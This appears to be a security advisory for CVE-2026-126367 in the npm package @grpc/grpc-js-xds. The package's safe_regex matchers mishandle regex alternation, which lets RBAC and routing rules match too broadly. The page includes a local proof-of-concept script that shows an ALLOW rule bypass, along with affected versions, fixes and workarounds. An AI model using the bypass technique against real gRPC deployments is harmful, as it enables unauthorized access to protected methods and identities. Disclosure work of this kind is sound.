CVE-2026-126367 is a medium-severity (CVSS 4.8) CWE-625 vulnerability in @grpc/grpc-js-xds. A fix is available for @grpc/grpc-js-xds — see the affected versions and patch details below.
@grpc/grpc-js: safe_regex incorrectly applies partial string matching for patterns with alternation
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@grpc/grpc-js-xdsnpmDescription
Summary
The StringMatcher/PathMatcher for safe_regex builds its RE2 as ^${regex}$ with no surrounding group. Because alternation has the lowest precedence, a pattern "a|b|c" compiles to /^a|b|c$/ -- "starts with a" OR "contains b" OR "ends with c" instead of a full match of the whole value. Configurations with safe_regex matchers that use a regex alternation (a natural way to list methods or service identities) therefore apply partial string matches. This impacts route selection, xDS credentials, and RBAC.
Details
src/matcher.ts: SafeRegexValueMatcher and PathSafeRegexValueMatcher both do
this.targetRegexImpl = new RE2(`^${targetRegex}$`, 'u');
and apply() returns targetRegexImpl.test(value). With a top-level alternation the anchors bind only to the first/last branch.
src/route.ts (getPredicateForStringMatcher / getPredicateForHeaderMatcher) builds these for every safe_regex StringMatcher/HeaderMatcher, and src/rbac.ts uses them for RBAC url_path permissions/principals, authenticated.principal_name (mTLS SAN/CN), requested_server_name and header rules. So an ALLOW rule written with an alternation grants access to method names, certificate identities or header values that extend an intended one. DENY policies only become broader (fail-safe).
Proof of concept
In a scratch directory:
npm init -y
npm i @grpc/[email protected] @grpc/grpc-js
node poc.cjs
poc.cjs calls the exported RBAC engine directly (the functions grpc-js uses to make the authorization decision); no server or network:
const { parseConfig } = require('@grpc/grpc-js-xds/build/src/rbac.js')
const { SafeRegexValueMatcher } = require('@grpc/grpc-js-xds/build/src/matcher.js')
const { Metadata } = require('@grpc/grpc-js')
console.log(new SafeRegexValueMatcher('admin|editor').toString()) // SafeRegex(/^admin|editor$/u)
const sr = regex => ({ match_pattern: 'safe_regex', safe_regex: { regex } })
const info = urlPath => ({ urlPath, headers: new Metadata(), tls: true, peerCertificate: null,
destinationIp: '10.0.0.1', destinationPort: 443, sourceIp: '10.0.0.2' })
const g = parseConfig({ action: 'ALLOW', policies: { p: {
permissions: [{ rule: 'url_path', url_path: { path: sr('/acme.Users/GetUser|/acme.Users/ListUsers') } }],
principals: [{ identifier: 'any', any: true }] } } })
console.log('GetUser ', g.apply(info('/acme.Users/GetUser'))) // true (intended)
console.log('DeleteUser ', g.apply(info('/acme.Users/DeleteUser'))) // false (control)
console.log('GetUserSecrets', g.apply(info('/acme.Users/GetUserSecrets'))) // true <-- BYPASS
Observed (grpc-js-xds 1.14.1, grpc-js 1.14.6):
matcher "admin|editor" -> SafeRegex(/^admin|editor$/u);
apply("administrator")=true, apply("not-an-editor")=true
ALLOW url_path /acme.Users/GetUser|/acme.Users/ListUsers:
/acme.Users/GetUser -> ALLOWED (intended)
/acme.Users/DeleteUser -> denied (control)
/acme.Users/GetUserSecrets -> ALLOWED <-- bypass (policy intends deny)
control, same regex as (?:...|...): /acme.Users/GetUserSecrets -> denied
ALLOW authenticated principal_name spiffe://prod/ns/web/sa/frontend|...ops/sa/admin:
spiffe://prod/ns/web/sa/frontend-batch -> ALLOWED <-- bypass
Impact
Users of @grpc/grpc-js-xds who are using safe_regex matchers with alternation for route selection, xDS credentials SAN matchers, or RBAC rules may see incorrectly permissive behavior.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @grpc/grpc-js-xds | ≥ 1.14.0&&< 1.14.2 | 1.14.2npm install @grpc/grpc-js-xds@1.14.2 |
| 📦npm | @grpc/grpc-js-xds | all versions | 1.13.2npm install @grpc/grpc-js-xds@1.13.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @grpc/grpc-js-xds, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @grpc/grpc-js-xds to 1.14.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-126367 is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Frequently Asked Questions
Is CVE-2026-126367 in your dependencies?
Find it across npm, including transitive dependencies.